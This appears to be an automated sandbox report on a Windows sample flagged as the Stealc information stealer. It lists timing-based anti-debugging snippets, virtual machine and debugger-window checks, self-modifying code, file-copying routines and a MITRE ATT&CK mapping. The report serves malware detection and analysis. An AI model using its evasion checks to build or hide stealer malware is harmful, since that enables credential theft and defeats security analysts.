Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DACA34 second address: DACA39 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DACA39 second address: DACA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF53D second address: DAF556 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1674F90E20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF556 second address: DAF56D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1675279DB1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAEF5C second address: DAEF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1674F90E22h 0x00000009 popad 0x0000000a jmp 00007F1674F90E26h 0x0000000f jmp 00007F1674F90E20h 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB15A6 second address: DB15AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB15AC second address: DB15B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB118E second address: DB11AE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1675279DB9h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB8388 second address: DB83A4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F1674F90E21h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBA6BE second address: DBA6C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF0CC second address: DBF0D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEF89 second address: DBEFAA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1675279DA6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push edx 0x0000000e jmp 00007F1675279DB0h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBEFAA second address: DBEFB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC38CB second address: DC38CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC38CF second address: DC38D5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA632 second address: DCA637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA637 second address: DCA644 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jg 00007F1674F90E16h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA8F7 second address: DCA913 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1675279DA6h 0x00000008 jmp 00007F1675279DAFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA913 second address: DCA93C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F1674F90E1Dh 0x0000000a pushad 0x0000000b jmp 00007F1674F90E24h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA93C second address: DCA942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA942 second address: DCA94E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push esi 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCAAD0 second address: DCAAD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCAAD4 second address: DCAB18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1674F90E28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1674F90E28h 0x0000000e pop edi 0x0000000f push ebx 0x00000010 jne 00007F1674F90E18h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop esi 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCAB18 second address: DCAB1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCAE0A second address: DCAE1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1674F90E1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCAF8F second address: DCAF95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCE4A9 second address: DCE4BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push edi 0x00000008 push edx 0x00000009 pop edx 0x0000000a jg 00007F1674F90E16h 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD87A3 second address: DD87D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F1675279DB6h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1675279DB7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE8BE6 second address: DE8BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1674F90E16h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE8BF3 second address: DE8BF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE8BF9 second address: DE8BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE8A74 second address: DE8A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEAD6C second address: DEAD72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEAD72 second address: DEAD78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEAD78 second address: DEAD7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA566 second address: DFA56E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA56E second address: DFA5B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F1674F90E1Eh 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jl 00007F1674F90E16h 0x00000014 jo 00007F1674F90E16h 0x0000001a jmp 00007F1674F90E27h 0x0000001f popad 0x00000020 popad 0x00000021 push esi 0x00000022 pushad 0x00000023 js 00007F1674F90E16h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA97D second address: DFA981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA981 second address: DFA98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA98A second address: DFA991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFADB8 second address: DFADCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F1674F90E1Fh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB397 second address: DFB39B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFCD5B second address: DFCD69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1674F90E1Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFCD69 second address: DFCD6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFCD6D second address: DFCD8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1674F90E21h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFCD8A second address: DFCD8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFCD8E second address: DFCD92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE494 second address: DFE4A4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00D72 second address: E00D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1674F90E22h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00F1A second address: E00F2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1675279DAFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01038 second address: E01042 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1674F90E1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02AEE second address: E02B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F1675279DA6h 0x0000000a popad 0x0000000b pushad 0x0000000c jnp 00007F1675279DA6h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 jmp 00007F1675279DB2h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02B15 second address: E02B1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02B1D second address: E02B37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F1675279DAEh 0x0000000c push esi 0x0000000d pop esi 0x0000000e jng 00007F1675279DA6h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4033C second address: 4E4036B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F1674F90E1Ch 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F1674F90E20h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov ax, dx 0x00000019 mov cx, di 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4036B second address: 4E40380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1675279DB1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4042B second address: 4E4045E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1674F90E29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push ecx 0x0000000d mov di, A7CEh 0x00000011 pop edx 0x00000012 mov esi, 18B7830Bh 0x00000017 popad 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4045E second address: 4E40464 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40464 second address: 4E40479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1674F90E21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40479 second address: 4E4047D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B719FA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D13958 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D26394 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DA3622 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009238B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_009238B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00924910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00924910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0091DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0091E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0091ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00924570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00924570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0091F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00923EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00923EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009116D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009116D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0091DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0091BE70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00911160 GetSystemInfo,ExitProcess,

0_2_00911160

Source: file.exe, file.exe, 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1747007538.000000000102E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1747007538.00000000010A4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1747007538.0000000001072000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13638
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13587
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13584
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13605
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13598

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009145C0 VirtualProtect ?,00000004,00000100,00000000

0_2_009145C0

Source: C:\Users\user\Desktop\file.exe

0_2_00929860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00929750 mov eax, dword ptr fs:[00000030h]

0_2_00929750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_009278E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_009278E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7264, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00929600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00929600

Source: file.exe, file.exe, 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: TProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00927B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00927980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00927980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00927850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00927850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00927A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00927A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.910000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1704892194.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1747007538.000000000102E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7264, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.910000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1704892194.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1747007538.000000000102E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7264, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
